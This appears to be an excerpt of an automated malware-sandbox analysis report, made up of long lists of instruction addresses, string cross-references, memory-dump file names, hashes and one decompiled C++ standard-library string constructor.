0x00000000
0x00401770
0x00401770
0x00401772
0x00401774
0x00401778
0x0040177a
0x0040177c
0x0040177e
0x00401786
0x0040178a
0x0040178f
0x0040178f
0x00401c10
0x00401c10
0x00401c14
0x00401c16
0x00401c16
0x00401c16
0x00000000
0x0040177e
0x0040176a
0x004009a1
0x004009a1
0x004009a3
0x004009a7
0x004009ab
0x004009ae
0x004009b3
0x004009b3
0x004009b6
0x004009bb
0x004009bf
0x004009c3
0x004009c7
0x004009c9
0x004009cf
0x004009d3
0x004009d7
0x004009da
0x004009de
0x004009e0
0x004009e2
0x004009e6
0x004009e8
0x004009ea
0x00400a7d
0x00000000
0x004009f0
0x004009f0
0x004009f2
0x004009f8
0x004009fa
0x004009fc
0x004009fe
0x00401b32
0x00401b34
0x00000000
0x00400a04
0x00400a04
0x00400a08
0x00400a0b
0x00400a0f
0x00400a13
0x00400f04
0x00400f06
0x00000000
0x00400a19
0x00400a19
0x00400a47
0x00400a47
0x00400a4d
0x00400a50
0x00400a52
0x00400a54
0x00400a56
0x00400a5a
0x00400a5e
0x00400a62
0x00400a66
0x00400a6b
0x00400a6b
0x00400a6e
0x00400a70
0x00400a72
0x00400a75
0x00400a77
0x00000000
0x00000000
0x00400a20
0x00400a22
0x00400a28
0x00400a2a
0x00400a2c
0x00400a2e
0x00401b38
0x00401b3a
0x00401b3c
0x00401b3c
0x00401b40
0x00401b42
0x00401b45
0x00401b49
0x00000000
0x00400a34
0x00400a34
0x00400a38
0x00400a3b
0x00400a3f
0x00400a41
0x00400f0a
0x00400f0c
0x00400f20
0x00400f20
0x00000000
0x00000000
0x00000000
0x00000000
0x00400a41
0x00000000
0x00400a2e
0x00400a79
0x00400a7f
0x00400a7f
0x00400a83
0x00400a85
0x00400a87
0x00400a87
0x00400a8a
0x00400a8c
0x00400a8e
0x00400a92
0x00400a96
0x00400a9a
0x00000000
0x00000000
0x00400a9a
0x00400a13
0x004009fe
0x004009ea
0x0040099b
0x004018d5
0x00000000
0x00000000
0x00000000
0x0040093f
0x00400939
0x00400921
0x004008e6
0x004008e6
0x004008e6
0x004008ea
0x004008ef
0x004008f1
0x004008f4
0x004008f4
0x004008f7
0x004008f9
0x004008fd
0x00400f30
0x00400f30
0x00400f34
0x00400f36
0x00401000
0x00401000
0x00401004
0x00401006
0x00400b80
0x00400b80
0x00400b87
0x00400b89
0x00400b8b
0x00400b8e
0x00400b92
0x00400b95
0x00400b99
0x00400b9b
0x00400b9d
0x004012c0
0x004012c0
0x004012c8
0x004015f0
0x004015f0
0x004015f4
0x004015f8
0x004015fc
0x00401602
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00400ba3
0x00400ba3
0x00400baa
0x00400bad
0x00400bad
0x00400bb0
0x00000000
0x00400bb6
0x00400bb6
0x00400bba
0x00400bbe
0x00400bc0
0x00400bc3
0x00400bcb
0x00400bce
0x00400bd0
0x00400bd4
0x00400bd7
0x00400bd9
0x00400be3
0x00400be3
0x00400be7
0x00400beb
0x00400bef
0x00400bef
0x00400bf1
0x00400bf5
0x00400bdb
0x00400bdb
0x00400bdd
0x004012ce
0x004012ce
0x004012d2
0x004012d6
0x004012d9
0x004012db
0x0040161d
0x0040161f
0x00401621
0x00401625
0x00401629
0x004012e1
0x004012e1
0x004012e1
0x004012e1
0x004012e3
0x004012e7
0x004012e9
0x004018ae
0x004018b2
0x004018ba
0x004012ef
0x004012ef
0x004012f3
0x004012f7
0x004012fb
0x004012fd
0x00401301
0x00401301
0x00000000
0x00000000
0x00000000
0x00400bdd
0x00400bd9
0x00400bb0
0x00400bf9
0x00400c00
0x00400c05
0x00400c0d
0x00000000
0x0040100c
0x0040100c
0x00401010
0x00401014
0x00401016
0x00400c0f
0x00400c0f
0x00400c13
0x00400c15
0x00400c17
0x00400c1b
0x00400c1d
0x00400c1f
0x00400c21
0x00400c23
0x00400c26
0x00400c2a
0x00400c2c
0x00400c2c
0x00400c2e
0x00400c32
0x00400c36
0x00400c36
0x00400c1d
0x00400c3a
0x00400c3e
0x00400c40
0x00400c42
0x00400c46
0x00400c48
0x00401442
0x00000000
0x00400c4e
0x00400c4e
0x00400c50
0x00400c59
0x00400c5e
0x00400c62
0x00400c65
0x00400c67
0x00400c6c
0x00400c6f
0x00400c78
0x00400c7c
0x00400c7c
0x00400c7e
0x00400c82
0x00400c82
0x00400c84
0x00401446
0x00401452
0x00401452
0x00400c84
0x00400c48
0x00400c91
0x00400c96
0x00400c99
0x00400c9c
0x00400ca4
0x00400ca6
0x00400cab
0x00400cad
0x00400cb1
0x00400cb3
0x0040104c
0x0040104e
0x00401050
0x00401052
0x004019ef
0x004019f6
0x004019f9
0x004019fc
0x00401a03
0x00000000
0x00401a09
0x00000000
0x00401a09
0x00401058
0x00401058
0x00401058
0x00000000
0x00401058
0x00000000
0x00400cb9
0x00400cb9
0x00400cbb
0x00400cc3
0x00400cc5
0x00401961
0x00401968
0x0040196b
0x0040196e
0x00401975
0x0040197b
0x0040197b
0x00401980
0x00401985
0x00401985
0x00401975
0x00400ccb
0x00400ccf
0x00400cd4
0x00400cd6
0x00401060
0x00401060
0x00401063
0x00401068
0x00401068
0x00400cd6
0x00400cdc
0x00400ce0
0x00400ce4
0x00400ce7
0x00400cea
0x00400cec
0x00400cf0
0x00400cf2
0x00400cf4
0x00400cf6
0x00400cf9
0x00400d02
0x00400d04
0x00400d04
0x00400d08
0x00400d0c
0x00400d0e
0x00400d10
0x00400d13
0x00400d1c
0x00400d1c
0x00400d1e
0x00400d22
0x00400d2a
0x00400d2d
0x00400d2f
0x00401310
0x00401314
0x00401317
0x0040131b
0x00401320
0x00401325
0x00401327
0x00000000
0x0040132d
0x0040132d
0x00401331
0x00401334
0x0040133c
0x00401344
0x00401347
0x0040134b
0x00401350
0x00401355
0x00401357
0x0040135b
0x00401360
0x00401362
0x00401366
0x00401368
0x00401b52
0x00401b55
0x00401b5d
0x00401b65
0x00401b69
0x00401b6e
0x00401b73
0x00401b75
0x00401b77
0x00000000
0x00401b7d
0x00401b7d
0x00401b81
0x00401b85
0x00401b89
0x00000000
0x00401b89
0x0040136e
0x0040136e
0x00401370
0x00401a8b
0x00401a8b
0x00401a8f
0x00401a93
0x00401a97
0x00000000
0x00401376
0x00401376
0x0040137a
0x0040137e
0x00401382
0x00000000
0x00401382
0x00401370
0x00401368
0x00400d35
0x00400d35
0x00400d35
0x00400d39
0x00400d3b
0x00401070
0x00401074
0x00401077
0x0040107b
0x0040107f
0x00401081
0x00401390
0x00401390
0x00401394
0x00401398
0x0040139a
0x004013a2
0x004013cf
0x004013cf
0x004013d3
0x004013d6
0x004013d9
0x004013de
0x004013e1
0x004013e4
0x004013e8
0x00000000
0x00000000
0x004013c3
0x004013c8
0x004013c8
0x004013c8
0x004013cd
0x004013cd
0x004013ea
0x004013ee
0x004013f0
0x004013f4
0x00000000
0x00401087
0x00401087
0x00401087
0x0040108b
0x0040108d
0x0040108f
0x00401092
0x0040109b
0x0040109b
0x0040109d
0x004010a1
0x004010a5
0x004010a7
0x0040191b
0x00401921
0x00401926
0x00401926
0x00401929
0x0040192b
0x0040192e
0x00401931
0x00401938
0x00401938
0x0040193b
0x0040193f
0x00401943
0x00401948
0x00401950
0x00401958
0x00401958
0x004010ad
0x004010b1
0x004010b5
0x004010bd
0x004010c1
0x00401189
0x00401189
0x0040118d
0x00401190
0x00401194
0x00401199
0x0040119d
0x004011a0
0x004011a0
0x004011a3
0x004011a7
0x004011ab
0x004011b0
0x004011b4
0x004011b6
0x004011ba
0x004011bd
0x004011c2
0x004011c4
0x004011c7
0x004011c9
0x00000000
0x00000000
0x004011cf
0x004011d3
0x004011d6
0x004011da
0x004011df
0x004011e3
0x004011ea
0x004011ef
0x004011f3
0x004011f5
0x004011f5
0x004011fc
0x00401c58
0x00000000
0x00401202
0x00401202
0x00401209
0x0040120b
0x0040120f
0x00401212
0x00401212
0x00401216
0x004010dd
0x004010dd
0x004010df
0x004017ac
0x004017ac
0x004017b0
0x004017b4
0x004017b8
0x004017bb
0x004017bf
0x004017c1
0x004017c3
0x00401a0e
0x00401a10
0x00000000
0x00000000
0x00000000
0x00000000
0x004017c9
0x004017c9
0x004017cd
0x00401ba1
0x00401ba4
0x00401ba6
0x00000000
0x00401bac
0x00401bac
0x00401bae
0x00401a12
0x00401a12
0x00401a15
0x00401a1d
0x00401a22
0x00401a26
0x00401a29
0x00401a30
0x00401a32
0x00401beb
0x00401bf8
0x00401bf8
0x00000000
0x00401bed
0x00401bed
0x00401bf2
0x00000000
0x00000000
0x00000000
0x00000000
0x00401bf2
0x00401a38
0x00401a38
0x00401a38
0x00401a3d
0x00000000
0x00401a3f
0x00401a3f
0x00401a43
0x00401a4b
0x00401a4b
0x00401a4e
0x00401a52
0x00401a52
0x00401a56
0x00401bd2
0x00401bd5
0x00401bd9
0x00401bdd
0x00401bdf
0x00401c2e
0x00401be1
0x00401be1
0x00401be1
0x00000000
0x00000000
0x00000000
0x00000000
0x00401a56
0x00401a3d
0x00401bb4
0x00401bb4
0x00401bb8
0x00401bba
0x00000000
0x00401bba
0x00401bae
0x004017d3
0x004017d3
0x004017d3
0x004017d8
0x00401a5c
0x00401a5c
0x00401a60
0x00401a65
0x00000000
0x004017de
0x004017de
0x004017e0
0x004017e4
0x004017e6
0x00401857
0x00401857
0x00401862
0x00401867
0x00401869
0x0040186b
0x00000000
0x00000000
0x004017f0
0x004017f5
0x0040180b
0x00401810
0x00401813
0x00401815
0x0040181d
0x00401820
0x00401828
0x00401831
0x00401833
0x00401837
0x0040183a
0x0040183e
0x00401843
0x00401847
0x0040184b
0x0040184e
0x0040184e
0x00401851
0x00401855
0x00401855
0x0040186d
0x00401871
0x00401873
0x00401875
0x00401879
0x0040187b
0x0040187f
0x00401882
0x00000000
0x00401888
0x00401888
0x00401888
0x0040188b
0x0040188f
0x00401894
0x00401896
0x0040189a
0x0040189a
0x0040189e
0x004018a3
0x004018a3
0x00401882
0x004017d8
0x004017cd
0x004010e5
0x004010e5
0x004010e5
0x004010ec
0x004010fe
0x004010fe
0x00401102
0x00401105
0x00401107
0x00401114
0x00401114
0x00401119
0x0040111c
0x00401120
0x00401124
0x004019de
0x004019e0
0x004019e4
0x004019e8
0x004013fc
0x004013fc
0x00401400
0x00401402
0x00401648
0x0040164b
0x00401653
0x00401658
0x0040165c
0x0040165f
0x00401666
0x00401668
0x0040166c
0x00000000
0x00401672
0x00401672
0x0040167f
0x0040167f
0x00000000
0x00401674
0x00401674
0x00401679
0x00000000
0x00000000
0x00000000
0x00000000
0x00401679
0x00401672
0x00401408
0x00401408
0x0040140b
0x0040140f
0x00401412
0x00401682
0x00401682
0x00401687
0x0040168a
0x00401690
0x00401694
0x00401696
0x00401698
0x00401698
0x00000000
0x00401418
0x00401418
0x0040141b
0x00401580
0x00401580
0x00000000
0x00401421
0x00401421
0x00401424
0x00401426
0x00000000
0x0040142c
0x0040142c
0x00401436
0x00401436
0x00401436
0x00401439
0x0040143b
0x00000000
0x00000000
0x00401430
0x00401434
0x00401434
0x0040143d
0x00401426
0x0040141b
0x00401412
0x0040112a
0x0040113d
0x00401142
0x0040114a
0x0040114c
0x00401154
0x00401157
0x00401159
0x004012b0
0x004012b5
0x004012b7
0x0040115f
0x0040115f
0x00401164
0x00401167
0x0040116f
0x00401171
0x0040117e
0x0040117e
0x00401180
0x00401180
0x00401180
0x00401185
0x00000000
0x00401185
0x00401109
0x00401109
0x0040110e
0x004019ab
0x004019b0
0x004019b4
0x004019b8
0x00000000
0x004019be
0x004019be
0x004019c3
0x004019c7
0x004019cb
0x004019cf
0x004019d2
0x004019d4
0x004019d4
0x00000000
0x00000000
0x00000000
0x0040110e
0x004010ee
0x004010ee
0x004010f5
0x004010f8
0x00000000
0x00000000
0x00000000
0x00000000
0x004010f8
0x004010ec
0x0040121c
0x0040121c
0x00401220
0x00401225
0x00401229
0x0040122b
0x0040122f
0x00401232
0x00401a6e
0x00401a6e
0x00401a72
0x00401a76
0x00401a7a
0x00401a7e
0x00401a81
0x0040159e
0x0040159e
0x0040159e
0x004015a1
0x004015a3
0x00000000
0x00000000
0x00401590
0x00401592
0x00401632
0x00401636
0x0040163b
0x00401640
0x00401598
0x00401598
0x0040159c
0x00000000
0x0040159c
0x00000000
0x00401592
0x004015a5
0x004015a8
0x004015aa
0x00401238
0x00401238
0x0040123a
0x00401c37
0x00401c3b
0x00401c47
0x00401c4b
0x00401c50
0x00401c3d
0x00401c3d
0x00401c3d
0x00401240
0x00401240
0x00401244
0x00401249
0x00401249
0x0040124c
0x0040124c
0x00401250
0x00401254
0x00401259
0x0040125d
0x00401261
0x00401261
0x00401232
0x00401216
0x00000000
0x004010d0
0x004010d3
0x004010d8
0x00000000
0x004010d8
0x00401189
0x00401263
0x00401263
0x00401266
0x0040126a
0x0040126f
0x00401271
0x00401275
0x00401610
0x00401614
0x0040127b
0x0040127b
0x0040127f
0x00401281
0x00401aa0
0x00401aa0
0x00401aa4
0x00000000
0x00401287
0x00401287
0x00401289
0x00000000
0x0040128f
0x00401292
0x00401297
0x0040129b
0x0040129f
0x00000000
0x0040129f
0x00401289
0x00000000
0x00401281
0x00400d41
0x00400d41
0x00400d43
0x00000000
0x00400d49
0x00400d49
0x00400d49
0x00400d4d
0x00400d4f
0x00000000
0x00400d55
0x00400d68
0x00400d6d
0x00400d70
0x00400d74
0x00400d76
0x00400d7b
0x00400d7d
0x00000000
0x00400d83
0x00400d83
0x00400d87
0x00400d87
0x00400d8a
0x00400d8e
0x00000000
0x00400d8e
0x00400d7d
0x00000000
0x00400d4f
0x00400d43
0x00400d3b
0x00000000
0x00400d2f
0x00000000
0x00400f3c
0x00400f3c
0x00400f43
0x00400f47
0x00400f4a
0x00000000
0x00400f50
0x00400f50
0x00400f57
0x00400f5e
0x00400f60
0x00401495
0x00401495
0x00401499
0x0040149d
0x004014a5
0x004014a9
0x004014ad
0x004014b0
0x004014b2
0x004014b7
0x004014ba
0x004014be
0x004014c0
0x004014c3
0x004014c8
0x004014cc
0x004014d0
0x004014d4
0x004014d8
0x004014dc
0x004014e0
0x004014e3
0x004014e5
0x004014e7
0x004014e9
0x004014eb
0x004014ed
0x004014ef
0x004014f1
0x00401c05
0x00401564
0x00401566
0x00000000
0x00401c0b
0x00000000
0x00401c0b
0x004014f7
0x004014f7
0x004014f7
0x004014fb
0x004014ff
0x00401503
0x0040151c
0x0040151c
0x00401522
0x00401525
0x00401525
0x00401528
0x0040152e
0x00401530
0x00401534
0x00401538
0x0040153c
0x00401540
0x00401544
0x00401548
0x0040154b
0x0040154e
0x00401550
0x00401552
0x00401554
0x00401556
0x00401558
0x0040155a
0x00000000
0x00000000
0x00401510
0x00401514
0x00401516
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00401516
0x0040155e
0x00401560
0x00401568
0x00401568
0x0040156c
0x00401570
0x00401505
0x004016a0
0x004016a0
0x004016a4
0x004016a6
0x00401b00
0x00401b02
0x00401b06
0x00401b08
0x00401bc3
0x00401bc5
0x00401bc7
0x00401bcb
0x00000000
0x00401b0e
0x00401b0e
0x00401b10
0x00401b12
0x00401c1e
0x00401c20
0x00401c24
0x00000000
0x00401b1e
0x00401b1e
0x00401b20
0x00401b24
0x00000000
0x00401b26
0x00401b26
0x00401b28
0x00401796
0x00401796
0x00401796
0x0040179a
0x0040179a
0x0040179d
0x00000000
0x00000000
0x00401794
0x00401794
0x0040179f
0x004017a3
0x004017a3
0x00401b24
0x00401b12
0x004016ac
0x004016ac
0x004016ae
0x004016b0
0x004016b3
0x00401b92
0x00401b96
0x00401b9a
0x00401ac4
0x00401ac4
0x00401ac7
0x00401aca
0x00401ad8
0x00401adc
0x00401acc
0x00401acc
0x00401ace
0x00401aeb
0x00401aef
0x00401af1
0x00401af6
0x00401af9
0x00401ad0
0x00401ad0
0x00401ad4
0x00401ad4
0x00000000
0x00401ad4
0x00401ace
0x00401adf
0x00401ae1
0x004016b9
0x004016b9
0x004016bd
0x00400aa2
0x00400aa2
0x00400aa2
0x004016b3
0x004016a6
0x00401503
0x00400f66
0x00400f66
0x00400f6a
0x00400f6c
0x00000000
0x00400f72
0x00400f72
0x0040101f
0x00000000
0x00400f78
0x00400f7e
0x00400f82
0x00400f84
0x00400f86
0x00400f88
0x00401021
0x00401021
0x00401023
0x00401023
0x00401025
0x00401025
0x0040102c
0x00401031
0x00401033
0x00401037
0x00000000
0x00400f8e
0x00400f8e
0x00400f91
0x00400f93
0x00400f97
0x00400d92
0x00400d92
0x00400d92
0x00400d92
0x00400d97
0x00400d9c
0x00400d9f
0x00400d9f
0x00400da2
0x00400da6
0x00400daa
0x00400daf
0x00400db1
0x00400db5
0x00400db9
0x00400dbb
0x00400dbb
0x00400dbe
0x00400dc2
0x00400dc6
0x00400dcb
0x00400dcf
0x00400dcf
0x00000000
0x00400db9
0x00400f88
0x00000000
0x00400f72
0x00400f6c
0x00400f60
0x00400f4a
0x00400903
0x00400908
0x00400908
0x0040090a
0x00000000
0x0040090a
0x004008fd
0x004008e4
0x00400878
0x0040086a
0x00400864
0x00400dd3
0x00400dd3
0x00400dd6
0x00400dda
0x00400dde
0x00400de3
0x00400dea
0x00400df1
0x00400df5
0x00400df9
0x00400dfb
0x00400dff
0x00400e02
0x00400e04
0x00400e08
0x00400e0a
0x00400e11
0x00400e11
0x00400e13
0x00400e1a
0x00400e1a
0x00400e26
0x00000000
0x00400640
0x00400640
0x00400642
0x00400645
0x00400648
0x0040064b
0x0040064d
0x00000000
0x0040064f
0x0040064f
0x00400653
0x00400655
0x00400657
0x00400657
0x00000000
0x00000000
0x004005b0
0x004005b7
0x004005bd
0x004005e6
0x00000000
0x00000000
0x00400570
0x00400577
0x0040057d
0x004005a6
0x00000000

Strings

9, xrefs: 00401A38
NaN, xrefs: 00400590
Infinity, xrefs: 004005D0
, xrefs: 00401BF8

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: $9$Infinity$NaN
API String ID: 0-197352145
Opcode ID: 3a23e6c17fe8a9fbd2ad2b8425637b8bc89f3cc941f19f8257bace861069b03d
Instruction ID: 0450b8197f3261d786743e135f68dd0539bb6a26f8df17697f87506fa7285547
Opcode Fuzzy Hash: 3a23e6c17fe8a9fbd2ad2b8425637b8bc89f3cc941f19f8257bace861069b03d
Instruction Fuzzy Hash: A5D213B1A083418FC315DF29C58472BBBE1BF88344F148D2EE895A73A1E779D9458F86

Uniqueness

Uniqueness Score: -1.00%

Function 0045AFD0 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 209
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E0045AFD0(intOrPtr* __ecx, void* __edi, void* __ebp, intOrPtr* _a4, intOrPtr* _a8, char _a12) {
				char _v16;
				intOrPtr* _v20;
				char* _v24;
				void* _v41;
				char _v56;
				intOrPtr* _v60;
				char* _v64;
				char* _v68;
				char* _v88;
				char* _v92;
				void* _v96;
				void* _v132;
				char* _v148;
				void* _v152;
				void* _v156;
				void* _v188;
				void _v208;
				void* _v212;
				void* _v216;
				void* __ebx;
				void* __esi;
				intOrPtr _t63;
				void* _t67;
				void* _t70;
				void* _t74;
				char* _t77;
				void* _t82;
				void* _t85;
				intOrPtr _t87;
				intOrPtr _t88;
				intOrPtr _t90;
				intOrPtr* _t93;
				intOrPtr* _t94;
				void* _t95;
				void* _t97;
				intOrPtr* _t103;
				intOrPtr* _t104;
				intOrPtr* _t105;
				char _t106;
				char _t107;
				char _t108;
				char* _t109;
				intOrPtr _t110;
				char* _t111;
				char _t115;
				char _t116;
				intOrPtr* _t117;
				void* _t119;
				char* _t125;
				char _t126;
				intOrPtr _t127;
				void _t128;
				intOrPtr* _t130;
				char* _t138;
				void _t140;
				void* _t142;
				char** _t143;
				void* _t144;
				void* _t145;
				void* _t146;
				intOrPtr* _t148;

				_t92 = __ecx;
				_t143 = _t142 - 0x14;
				_t103 = _a8;
				_t63 =  *_a4;
				_t106 =  *((intOrPtr*)(_t63 - 0xc));
				_t125 = _t63 + _t106;
				if(_t106 < _t103) {
					_v16 = _t106;
					_v20 = _t103;
					_v24 = "basic_string::basic_string";
					 *_t143 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
					L00493530(_t63, __edi, __eflags);
					_push(__edi);
					_push(_t125);
					_t93 = _t103;
					_t144 = _t143 - 0x20;
					_t104 = _v20;
					_t115 = _v16;
					_t107 =  *_v24;
					_t126 =  *((intOrPtr*)(_t107 - 0xc));
					_t67 = _t126 - _t104;
					__eflags = _t67 - _t115;
					_t68 =  >  ? _t115 : _t67;
					_t69 = ( >  ? _t115 : _t67) + _t104;
					_t70 = ( >  ? _t115 : _t67) + _t104 + _t107;
					__eflags = _t126 - _t104;
					if(__eflags < 0) {
						_v56 = _t126;
						_v60 = _t104;
						_v64 = "basic_string::basic_string";
						_v68 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
						L00493530(_t70, _t115, __eflags);
						_push(_t115);
						_push(_t126);
						_push(_t93);
						_t94 = _t104;
						_t145 = _t144 - 0x10;
						_t105 = _v60;
						_t116 = _v56;
						_t108 =  *_v64;
						_t127 =  *((intOrPtr*)(_t108 - 0xc));
						_t74 = _t127 - _t105;
						__eflags = _t74 - _t116;
						_t75 =  >  ? _t116 : _t74;
						_t76 = ( >  ? _t116 : _t74) + _t105;
						_t77 = ( >  ? _t116 : _t74) + _t105 + _t108;
						__eflags = _t127 - _t105;
						if(__eflags < 0) {
							 *((intOrPtr*)(_t145 + 0xc)) = _t127;
							 *((intOrPtr*)(_t145 + 8)) = _t105;
							_v88 = "basic_string::basic_string";
							_v92 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
							L00493530(_t77, _t116, __eflags);
							_push(__ebp);
							_push(_t116);
							_t117 = _t105;
							_push(_t127);
							_push(_t94);
							_t146 = _t145 - 0x2c;
							_t138 = _v88;
							_t128 =  *(_t146 + 0x44);
							__eflags =  &(_t138[_t128]);
							if( &(_t138[_t128]) == 0) {
								L8:
								 *(_t146 + 4) = 0;
								_v148 = _t128;
								 *(_t146 + 8) =  *(_t146 + 0x48);
								_t82 = E00459190(_t94, _t105, _t117, _t138);
								_t95 = _t82;
								_t39 = _t82 + 0xc; // 0xc
								_t109 = _t39;
								__eflags = _t128 - 1;
								if(_t128 == 1) {
									_t82 =  *_t138 & 0x000000ff;
									 *(_t95 + 0xc) = _t82;
								} else {
									__eflags = _t128;
									if(_t128 != 0) {
										_v148 = _t109;
										 *(_t146 + 8) = _t128;
										 *(_t146 + 4) = _t138;
										 *((intOrPtr*)(_t146 + 0x1c)) = _t109;
										_t82 = memcpy(??, ??, ??);
										_t109 =  *((intOrPtr*)(_t146 + 0x1c));
									}
								}
								 *(_t95 + 8) = 0;
								 *_t95 = _t128;
								 *((char*)(_t95 + _t128 + 0xc)) = 0;
								 *_t117 = _t109;
								return _t82;
							} else {
								__eflags = _t138;
								if(_t138 == 0) {
									_v148 = "basic_string::_S_construct null not valid";
									L004996C0(_t108, _t117);
									0;
									0;
									_push(_t138);
									_push(_t117);
									_t130 = _t105;
									_t148 = _t146 - 0x2c;
									_t140 =  *(_t148 + 0x40);
									 *(_t148 + 4) = 0;
									_t119 =  *(_t148 + 0x44);
									 *(_t148 + 8) =  *(_t148 + 0x48);
									_v208 = _t140;
									_t85 = E00459190(_t94, _t105, _t119, _t140, _t94, _t128);
									_t97 = _t85;
									_t53 = _t85 + 0xc; // 0xc
									_t110 = _t53;
									__eflags = _t140;
									if(_t140 != 0) {
										__eflags = _t140 - 1;
										if(_t140 == 1) {
											_t85 = _t119;
											 *(_t97 + 0xc) = _t85;
										} else {
											 *_t148 = _t110;
											 *(_t148 + 8) = _t140;
											 *(_t148 + 4) = _t119;
											 *((intOrPtr*)(_t148 + 0x1c)) = _t110;
											_t85 = memset(??, ??, ??);
											_t110 =  *((intOrPtr*)(_t148 + 0x1c));
										}
									}
									 *(_t97 + 8) = 0;
									 *_t97 = _t140;
									 *((char*)(_t97 +  &_a12)) = 0;
									 *_t130 = _t110;
									return _t85;
								} else {
									goto L8;
								}
							}
						} else {
							_t111 = _t108 + _t105;
							__eflags = _t111;
							 *((char*)(_t145 + 0xc)) = 0;
							_v88 = _t77;
							 *((intOrPtr*)(_t145 + 8)) =  *((intOrPtr*)(_t145 + 0x2c));
							_v92 = _t111;
							_t87 = E00458BF0(_t94, _t116,  *((intOrPtr*)(_t145 + 0x2c)), __ebp);
							 *_t94 = _t87;
							return _t87;
						}
					} else {
						__eflags = _t107 + _t104;
						_v56 = 0;
						_t88 = E00458BF0(_t93, _t115, _t144 + 0x1f, __ebp, _t107 + _t104, _t70, _t144 + 0x1f);
						 *_t93 = _t88;
						return _t88;
					}
				} else {
					_v24 = _t125;
					_v16 = 0;
					_v20 = _a12;
					 *_t143 = _t63 + _t103;
					_t90 = E00458BF0(__ecx, __edi, _t125, __ebp);
					 *__ecx = _t90;
					return _t90;
				}
			}

0x0045afd2
0x0045afd4
0x0045afdb
0x0045afdf
0x0045afe1
0x0045afe4
0x0045afe9
0x0045b010
0x0045b014
0x0045b018
0x0045b020
0x0045b027
0x0045b030
0x0045b031
0x0045b033
0x0045b035
0x0045b03c
0x0045b040
0x0045b044
0x0045b046
0x0045b04b
0x0045b04d
0x0045b04f
0x0045b052
0x0045b054
0x0045b056
0x0045b058
0x0045b080
0x0045b084
0x0045b088
0x0045b090
0x0045b097
0x0045b0a0
0x0045b0a1
0x0045b0a2
0x0045b0a3
0x0045b0a5
0x0045b0ac
0x0045b0b0
0x0045b0b4
0x0045b0b6
0x0045b0bb
0x0045b0bd
0x0045b0bf
0x0045b0c2
0x0045b0c4
0x0045b0c6
0x0045b0c8
0x0045b0f0
0x0045b0f4
0x0045b0f8
0x0045b100
0x0045b107
0x0045b110
0x0045b111
0x0045b112
0x0045b114
0x0045b115
0x0045b116
0x0045b119
0x0045b11d
0x0045b123
0x0045b125
0x0045b12b
0x0045b12f
0x0045b137
0x0045b13a
0x0045b13e
0x0045b143
0x0045b145
0x0045b145
0x0045b148
0x0045b14b
0x0045b190
0x0045b194
0x0045b14d
0x0045b14d
0x0045b14f
0x0045b170
0x0045b173
0x0045b177
0x0045b17b
0x0045b17f
0x0045b184
0x0045b184
0x0045b14f
0x0045b151
0x0045b158
0x0045b15a
0x0045b15f
0x0045b168
0x0045b127
0x0045b127
0x0045b129
0x0045b199
0x0045b1a0
0x0045b1ab
0x0045b1af
0x0045b1b0
0x0045b1b1
0x0045b1b3
0x0045b1b6
0x0045b1b9
0x0045b1c1
0x0045b1c9
0x0045b1cd
0x0045b1d1
0x0045b1d4
0x0045b1d9
0x0045b1db
0x0045b1db
0x0045b1de
0x0045b1e0
0x0045b1e2
0x0045b1e5
0x0045b220
0x0045b222
0x0045b1e7
0x0045b1e9
0x0045b1ef
0x0045b1f3
0x0045b1f7
0x0045b1fb
0x0045b200
0x0045b200
0x0045b1e5
0x0045b204
0x0045b20b
0x0045b20d
0x0045b212
0x0045b21b
0x00000000
0x00000000
0x00000000
0x0045b129
0x0045b0ca
0x0045b0ce
0x0045b0ce
0x0045b0d0
0x0045b0d5
0x0045b0d9
0x0045b0dd
0x0045b0e0
0x0045b0e5
0x0045b0ed
0x0045b0ed
0x0045b05a
0x0045b05e
0x0045b060
0x0045b070
0x0045b075
0x0045b07d
0x0045b07d
0x0045afeb
0x0045aff1
0x0045aff5
0x0045affa
0x0045affe
0x0045b001
0x0045b006
0x0045b00d
0x0045b00d

Strings

basic_string::basic_string, xrefs: 0045B018, 0045B088, 0045B0F8
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 0045B020, 0045B090, 0045B100
basic_string::_S_construct null not valid, xrefs: 0045B199

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_S_construct null not valid$basic_string::basic_string
API String ID: 0-1533248280
